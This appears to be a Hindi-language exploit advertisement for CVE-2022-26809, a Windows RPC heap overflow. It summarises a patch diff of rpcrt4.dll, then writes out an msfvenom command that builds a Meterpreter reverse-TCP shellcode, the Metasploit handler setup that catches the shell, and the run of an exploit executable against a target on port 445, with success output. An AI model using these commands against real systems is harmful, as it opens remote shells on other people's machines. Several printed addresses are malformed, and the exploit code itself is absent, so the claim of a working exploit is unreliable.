
CVE-2022-26809 के लिए रिमोट कोड एक्ज़ीक्यूशन एक्सप्लॉइट जो विंडोज RPC हीप बफर ओवरफ्लो को लक्षित करता है, जिसमें msfvenom शेलकोड इंटीग्रेशन और मीटरप्रेटर रिवर्स शेल पेलोड डिलीवरी शामिल है।
CVE-2022-26809 - एक मुख्य Windows घटक (RPC) में कमजोरी जिसने बिना कारण के CVSS स्कोर 9.8 अर्जित नहीं किया, क्योंकि हमले के लिए प्रमाणीकरण की आवश्यकता नहीं है और इसे नेटवर्क पर दूरस्थ रूप से निष्पादित किया जा सकता है, और इसके परिणामस्वरूप RPC सेवा के विशेषाधिकारों के साथ दूरस्थ कोड निष्पादन (RCE) हो सकता है, जो RPC रनटाइम को होस्ट करने वाली प्रक्रिया पर निर्भर करता है। यह महत्वपूर्ण बग, थोड़ी किस्मत से, अनपैच्ड Windows होस्ट तक पहुँच प्राप्त करने की अनुमति देता है जो SMB चला रहा है। इस भेद्यता का शोषण नेटवर्क के बाहर से उसमें घुसपैठ करने के लिए और नेटवर्क में मशीनों के बीच दोनों तरह से किया जा सकता है।
विक्रेता जानकारी
परीक्षित संवेदनशील होस्ट:
हम बाद में उस सूची को अपडेट करेंगे। हमें संदेह है कि चल रहे SMB और खुले पोर्ट 445 वाले लगभग सभी बिल्ड प्रभावित होंगे।
TCP 135,139,445
CVE ने कहा कि भेद्यताएँ Windows RPC रनटाइम के भीतर स्थित हैं, जो rpcrt4.dll नामक लाइब्रेरी में लागू किया गया है। यह रनटाइम लाइब्रेरी संचार के लिए RPC प्रोटोकॉल का उपयोग करने वाले क्लाइंट और सर्वर दोनों प्रक्रियाओं में लोड की जाती है। हमने संस्करण 10.0.22000.434 (मार्च) और 10.0.22000.613 (पैच किया गया) की तुलना की और परिवर्तनों की सूची को अलग किया।
फंक्शन OSF_SCALL::ProcessResponse और OSF_CCALL::ProcessReceivedPDU स्वभाव में समान हैं; दोनों RPC पैकेट को प्रोसेस करते हैं, लेकिन एक सर्वर साइड पर चलता है और दूसरा क्लाइंट साइड पर (SCALL और CCALL)। OSF_SCALL::ProcessReceivedPDU को डिफ करके हमने देखा कि नए संस्करण में दो कोड ब्लॉक जोड़े गए हैं।


पैच किए गए कोड को देखते हुए, हमने देखा कि QUEUE::PutOnQueue के बाद एक नया फंक्शन कॉल किया गया था। नए फंक्शन का निरीक्षण करके और उसके कोड में गोता लगाकर, हमने पता लगाया कि यह पूर्णांक ओवरफ्लो की जाँच करता है। दूसरे शब्दों में, पैच में नया फंक्शन यह सत्यापित करने के लिए जोड़ा गया था कि एक पूर्णांक चर अपेक्षित मान सीमा के भीतर बना रहे।

OSF_SCALL:GetCoalescedBuffer में भेद्य कोड में गहराई से गोता लगाते हुए, हमने देखा कि पूर्णांक ओवरफ्लो बग हीप बफर ओवरफ्लो का कारण बन सकता है, जहाँ डेटा को एक ऐसे बफर पर कॉपी किया जाता है जो इसे भरने के लिए बहुत छोटा होता है। यह बदले में डेटा को बफर की सीमाओं से बाहर, हीप पर लिखने की अनुमति देता है। जब इसका शोषण किया जाता है, तो यह प्रिमिटिव हमें दूरस्थ कोड निष्पादन की ओर ले जाता है!
पूर्णांक ओवरफ्लो की जाँच करने के लिए एक समान कॉल अन्य फंक्शन में भी जोड़ा गया था:
OSF_CCALL::ProcessResponse OSF_SCALL::GetCoalescedBuffer OSF_CCALL::GetCoalescedBuffer
पूर्णांक ओवरफ्लो भेद्यता और इसे रोकने वाला फंक्शन क्लाइंट-साइड और सर्वर-साइड दोनों निष्पादन प्रवाहों में मौजूद है।
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f raw > shellcode.bin
msf5 > use multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.105
LHOST => 192.168.10.105
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
CVE-2022-26809 ip पोर्ट
C:\>CVE-2022-26809.exe 192.168.10.110 445
CVE-2022-26809 RPC Remote Exploit
[+] Checking... 192.168.10.110 445
[+] 192.168.10.110 445 IsOpen
[+] found low stub at phys addr 6800!
[+] Pipe at 4ac660
[+] base of RPC heap at fffff79480048033
[+] ntoskrnl entry at fffff802435782060
[+] found Pipe self-ref entry 1eb
[+] found Alsr at fffff64480301671
[+] found RPC CALL at fffff802451b3b30
[+] load shellcode.bin
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff4ffc0033060
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff75006070a023!
[+] Try to execute shellcode!
[ ] शोषण सफल!